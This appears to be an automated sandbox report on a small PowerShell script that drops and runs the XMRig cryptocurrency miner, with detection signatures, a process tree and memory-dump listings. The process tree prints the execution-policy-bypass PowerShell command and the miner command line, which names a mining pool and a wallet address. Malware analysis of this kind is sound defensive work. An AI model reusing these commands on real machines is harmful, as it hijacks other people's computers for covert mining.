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27/05/2024, 18:28
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240527-w4cs6aed4710Analysis
- max time kernel
1799s - max time network
1781s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
27/05/2024, 18:28
General
- Target file01 - copia (4).ps1
- Size 510B
- Sample240527-w4cs6adc6z
- SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
Malware Config
Signatures
- XMRig Miner payload 57 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (4).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_wc4zxmh0.lg1.ps1
xmrig.exe
memory/316-118-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-134-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-93-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-157-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-156-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-155-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-154-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-153-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-152-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-151-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-150-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-149-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-90-0x0000017528540000-0x0000017528560000-memory.dmp
memory/316-148-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-147-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-97-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-98-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-99-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-100-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-101-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-102-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-103-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-104-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-105-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-106-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-107-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-108-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-109-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-110-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-111-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-112-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-113-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-114-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-115-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-116-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-117-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-146-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-129-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-91-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-121-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-122-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-123-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-124-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-125-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-126-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-127-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-128-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-119-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-130-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-131-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-132-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-133-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-120-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-135-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-136-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-137-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-138-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-139-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-140-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-141-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-142-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-143-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-144-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/316-145-0x00007FF7BC910000-0x00007FF7BD543000-memory.dmp
memory/4236-94-0x00007FFFD3123000-0x00007FFFD3124000-memory.dmp
memory/4236-96-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-95-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-92-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-61-0x000002179C8C0000-0x000002179C8CA000-memory.dmp
memory/4236-48-0x000002179C8D0000-0x000002179C8E2000-memory.dmp
memory/4236-25-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-10-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-9-0x000002179C8F0000-0x000002179C966000-memory.dmp
memory/4236-6-0x00007FFFD3120000-0x00007FFFD3B0C000-memory.dmp
memory/4236-5-0x0000021784140000-0x0000021784162000-memory.dmp
memory/4236-3-0x00007FFFD3123000-0x00007FFFD3124000-memory.dmp